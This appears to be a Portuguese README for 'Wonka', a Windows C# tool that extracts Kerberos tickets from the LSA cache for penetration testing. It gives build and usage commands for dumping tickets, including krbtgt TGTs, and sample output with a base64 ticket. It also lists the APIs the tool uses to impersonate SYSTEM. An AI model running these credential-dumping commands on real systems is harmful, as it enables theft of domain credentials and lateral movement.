
Wonka é uma ferramenta Windows doce que extrai tickets Kerberos do cache da Autoridade de Segurança Local (LSA). Como encontrar um ticket, mas para pesquisa de segurança e testes de penetração! 🎫
"Nós somos os criadores da música, e nós somos os sonhadores dos sonhos." - Willy Wonka
Wonka é uma ferramenta doce do Windows que extrai tickets Kerberos do cache da Autoridade de Segurança Local (LSA). Como encontrar um ticket, mas para pesquisa de segurança e testes de penetração! 🎫
Opção 1: Compilar Executável Único (Recomendado)
dotnet publish -c Release -r win-x64 --self-contained true /p:PublishSingleFile=true
Opção 2: Compilação Simples
dotnet build --configuration Release
.\Wonka.exe <list|dump> [/luid:<luid>] [/service:<name>]
Executar
.\Wonka.exesem argumentos (ou-h) exibe a ajuda — você deve passardumpoulistexplicitamente para fazer algo.
Wonka se adapta aos privilégios com os quais está sendo executado:
/luide/servicesão filtros apenas para dump; combiná-los comlisté rejeitado.
# Show help (also shown when run with no arguments)
.\Wonka.exe -h
# Dump every accessible ticket (all sessions if elevated, otherwise just yours)
.\Wonka.exe dump
# Just enumerate who has tickets, without pulling the blobs (admin)
.\Wonka.exe list
# Pull a single krbtgt ticket (TGT) for one logon session
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt
Starting Kerberos ticket extraction process...
[+] Running with administrative privileges
[+] Successfully impersonated as SYSTEM
[+] Logon sessions found: 15
[+] User: [email protected]
[+] LogonId: 0x3e7 | Tickets found: 3
-----------------------------------------------------------------------
Username = charlie.bucket
DnsDomainName = chocolate.factory
StartTime ---> 10/21/2025 10:30:15 AM
EndTime ---> 10/21/2025 8:30:15 PM
Server Name ---> krbtgt/CHOCOLATE.FACTORY
Ticket b64 ---> YIIFgjCCBX6gAwIBBaEDAgEWooIEhjCCBIJhggR+MII...
-----------------------------------------------------------------------
No modo
lista saída é idêntica exceto que as linhasTicket b64/EncTypesão omitidas — você obtém os metadados sem o blob de ticket extraível.
Wonka/
├── Program.cs # CLI parsing + ticket extraction logic
├── Winapi.cs # Windows API definitions
└── Wonka.csproj # Project file
OpenProcessToken / DuplicateTokenEx / ImpersonateLoggedOnUser / RevertToSelf - impersonação de SYSTEM (caminho admin)LsaRegisterLogonProcess - Registro LSA privilegiado (caminho admin)LsaConnectUntrusted - Conexão LSA não privilegiada para o usuário atual (caminho de usuário padrão)LsaEnumerateLogonSessions - Enumeração de sessõesLsaCallAuthenticationPackage - Comunicação KerberosElevado (Administrador):
LsaRegisterLogonProcess)/luid / /service)list)Usuário padrão:
LsaConnectUntrusted) — nenhuma impersonação necessária{0,0})| Problema | Solução |
|---|---|
| "Não foi possível impersonar como SYSTEM" | Execute como Administrador (ou execute como usuário padrão para extrair apenas seus próprios tickets) |
| "Não foi possível inicializar o LSA" | Verifique a compatibilidade do Windows |
| "Nenhum ticket encontrado" | Certifique-se de que o Kerberos está em uso (klist) |
"Um pouco de absurdo de vez em quando é apreciado pelos homens mais sábios."
Esta ferramenta é apenas para pesquisa e testes de segurança autorizados. Como a fábrica de Wonka, entre apenas com permissão! 🏭
Use com responsabilidade:
Criado para profissionais de segurança que precisam extrair tickets Kerberos tão doces quanto o chocolate de Wonka. Lembre-se: com grandes poderes vêm grandes responsabilidades!
"Assim brilha uma boa ação em um mundo cansado." 🌟
| Comando | O que faz |
|---|
.\Wonka.exe (sem args) | Exibe ajuda. |
.\Wonka.exe dump | Extrai tickets (base64) de todas as sessões acessíveis. |
.\Wonka.exe list | Lista usuários e apenas metadados dos tickets — nenhum base64 é extraído. |
.\Wonka.exe dump /luid:<luid> | Extrai apenas a sessão com o LUID fornecido (hex 0x3e7 ou decimal 999). |
.\Wonka.exe dump /service:<name> | Extrai apenas tickets cujo nome do servidor contém <name> (ex.: krbtgt, cifs/host.domain). |
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt | Combina filtros para extrair um único ticket. |
.\Wonka.exe -h | Exibe ajuda. |